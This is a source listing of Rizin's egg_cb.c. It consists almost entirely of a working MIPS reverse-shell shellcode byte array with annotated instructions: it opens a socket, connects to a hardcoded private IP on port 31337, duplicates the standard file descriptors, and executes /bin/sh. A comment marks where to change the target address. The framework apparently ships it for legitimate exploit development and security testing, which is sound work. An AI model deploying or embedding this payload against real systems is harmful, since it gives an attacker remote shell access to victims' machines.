Rizin
unix-like reverse engineering framework and cli tools
egg_cb.c
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// SPDX-FileCopyrightText: 2011 pancake <pancake@nopcode.org>
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// SPDX-License-Identifier: LGPL-3.0-only
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/* connect back shellcodes */
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// mips
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static
char
sc
[] =
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"\x24\x0f\xff\xfd"
// li t7,-3
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"\x01\xe0\x20\x27"
// nor a0,t7,zero
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"\x01\xe0\x28\x27"
// nor a1,t7,zero
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"\x28\x06\xff\xff"
// slti a2,zero,-1
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"\x24\x02\x10\x57"
// li v0,4183 ( sys_socket )
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"\x01\x01\x01\x0c"
// syscall 0x40404
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"\xaf\xa2\xff\xff"
// sw v0,-1(sp)
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"\x8f\xa4\xff\xff"
// lw a0,-1(sp)
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"\x24\x0f\xff\xfd"
// li t7,-3 ( sa_family = AF_INET )
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"\x01\xe0\x78\x27"
// nor t7,t7,zero
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"\xaf\xaf\xff\xe0"
// sw t7,-32(sp)
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"\x3c\x0e\x7a\x69"
// lui t6,0x7a69 ( sin_port = 0x7a69 )
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"\x35\xce\x7a\x69"
// ori t6,t6,0x7a69
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"\xaf\xae\xff\xe4"
// sw t6,-28(sp)
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/* ==================== You can change ip here ;) ====================== */
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"\x3c\x0d\xc0\xa8"
// lui t5,0xc0a8 ( sin_addr = 0xc0a8 ...
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"\x35\xad\x01\x64"
// ori t5,t5,0x164 ...0164 )
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/* ====================================================================== */
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"\xaf\xad\xff\xe6"
// sw t5,-26(sp)
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"\x23\xa5\xff\xe2"
// addi a1,sp,-30
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"\x24\x0c\xff\xef"
// li t4,-17 ( addrlen = 16 )
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"\x01\x80\x30\x27"
// nor a2,t4,zero
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"\x24\x02\x10\x4a"
// li v0,4170 ( sys_connect )
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"\x01\x01\x01\x0c"
// syscall 0x40404
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"\x24\x0f\xff\xfd"
// li t7,-3
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"\x01\xe0\x28\x27"
// nor a1,t7,zero
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"\x8f\xa4\xff\xff"
// lw a0,-1(sp)
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// dup2_loop:
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"\x24\x02\x0f\xdf"
// li v0,4063 ( sys_dup2 )
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"\x01\x01\x01\x0c"
// syscall 0x40404
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"\x20\xa5\xff\xff"
// addi a1,a1,-1
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"\x24\x01\xff\xff"
// li at,-1
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"\x14\xa1\xff\xfb"
// bne a1,at, dup2_loop
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"\x28\x06\xff\xff"
// slti a2,zero,-1
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"\x3c\x0f\x2f\x2f"
// lui t7,0x2f2f
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"\x35\xef\x62\x69"
// ori t7,t7,0x6269
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"\xaf\xaf\xff\xf4"
// sw t7,-12(sp)
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"\x3c\x0e\x6e\x2f"
// lui t6,0x6e2f
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"\x35\xce\x73\x68"
// ori t6,t6,0x7368
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"\xaf\xae\xff\xf8"
// sw t6,-8(sp)
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"\xaf\xa0\xff\xfc"
// sw zero,-4(sp)
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"\x27\xa4\xff\xf4"
// addiu a0,sp,-12
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"\x28\x05\xff\xff"
// slti a1,zero,-1
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"\x24\x02\x0f\xab"
// li v0,4011 ( sys_execve )
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"\x01\x01\x01\x0c"
;
// syscall 0x40404
sc
static char sc[]
Definition:
egg_cb.c:6
librz
egg
p
egg_cb.c
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